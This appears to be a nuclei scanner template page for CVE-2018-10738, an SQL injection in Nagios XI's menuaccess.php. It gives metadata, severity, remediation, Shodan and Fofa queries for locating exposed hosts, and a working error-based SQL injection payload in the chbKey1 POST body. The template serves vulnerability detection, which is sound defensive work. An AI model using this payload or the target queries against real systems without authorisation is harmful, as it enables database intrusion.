CVE-2018-10738: NagiosXI <= 5.4.12 menuaccess.php - SQL injection
- Template: CVE-2018-10738
- Name: NagiosXI <= 5.4.12 menuaccess.php - SQL injection
- Description: A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/menuaccess.php chbKey1 parameter.
- Impact: Authenticated administrators can execute arbitrary SQL commands to access, modify, or delete database contents, potentially compromising the entire Nagios XI instance.
- Remediation: Upgrade to Nagios XI version 5.4.13 or later.
- Severity: high
- Authors: DhiyaneshDk
- Tags: cve, cve2018, nagios, sqli, vuln
- References: https://qkl.seebug.org/vuldb/ssvid-97268, https://vuldb.com/de/?id.117807
- Cves: CVE-2018-10738
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2018/CVE-2018-10738.yaml
- Digest: 4a0a00473045022100c4285972a11bd18061ab6957d82db49c5160037d08a8c92efe5e96317c634fb5022016e80af83b980786d15e0cafa1e8ca9637c6c44c81ea89c23f81396f635d809b
- Created at: 2024-04-04T03:56:11Z
- Updated at: 2026-11-21T02:03:58Z
- Age in days: 964
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-10738.yaml
Classification
- Cwe: CWE-89
- Cvss score: 7.2
- Cvss vector: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.41436
- Epss percentile: 0.98706
- Cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: app="Nagios-XI", title="nagios xi", app="nagios-xi"
- Google-query: intitle:"nagios xi"
- Max-request: 1
- Product: nagios_xi
- Shodan-query: http.title:"nagios xi"
- Vendor: nagios
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| nagios:nagios_xi | yes | /v1/products/nagios/nagios_xi |
Labels
- Name: Nagios XI - SQL Injection
- Impact: Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
- Remediation: Update to version 5.4.13 or later.
- Vulnerability type: sql_injection
- Vulnerability impact: information_disclosure, data_tampering
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2018-10738
- Not known: requirements
```yaml
id: CVE-2018-10738
info:
name: NagiosXI <= 5.4.12 menuaccess.php - SQL injection
author: DhiyaneshDk
severity: high
description: |
A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/menuaccess.php chbKey1 parameter.
impact: |
Authenticated administrators can execute arbitrary SQL commands to access, modify, or delete database contents, potentially compromising the entire Nagios XI instance.
remediation: |
Upgrade to Nagios XI version 5.4.13 or later.
reference:
- https://qkl.seebug.org/vuldb/ssvid-97268
- https://vuldb.com/de/?id.117807
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2018-10738
cwe-id: CWE-89
epss-score: 0.41436
epss-percentile: 0.98706
cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: nagios
product: nagios_xi
shodan-query: http.title:"nagios xi"
fofa-query:
- app="Nagios-XI"
- title="nagios xi"
- app="nagios-xi"
google-query: intitle:"nagios xi"
tags: cve,cve2018,nagios,sqli,vuln
variables:
num: "{{rand_int(2000000000, 2100000000)}}"
http:
- method: POST
path:
- "{{BaseURL}}/nagiosql/admin/menuaccess.php"
headers:
Content-Type: application/x-www-form-urlencoded
body: "selSubMenu=1&subSave=1&chbKey1=-1%' and (select 1 from(select count(*),concat((select (select (select md5({{num}}))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#"
matchers:
- type: word
part: body
words:
- "{{md5(num)}}"
digest: 4a0a00473045022100c4285972a11bd18061ab6957d82db49c5160037d08a8c92efe5e96317c634fb5022016e80af83b980786d15e0cafa1e8ca9637c6c44c81ea89c23f81396f635d809b:922c64590222798bb761d5b6d8e72950
```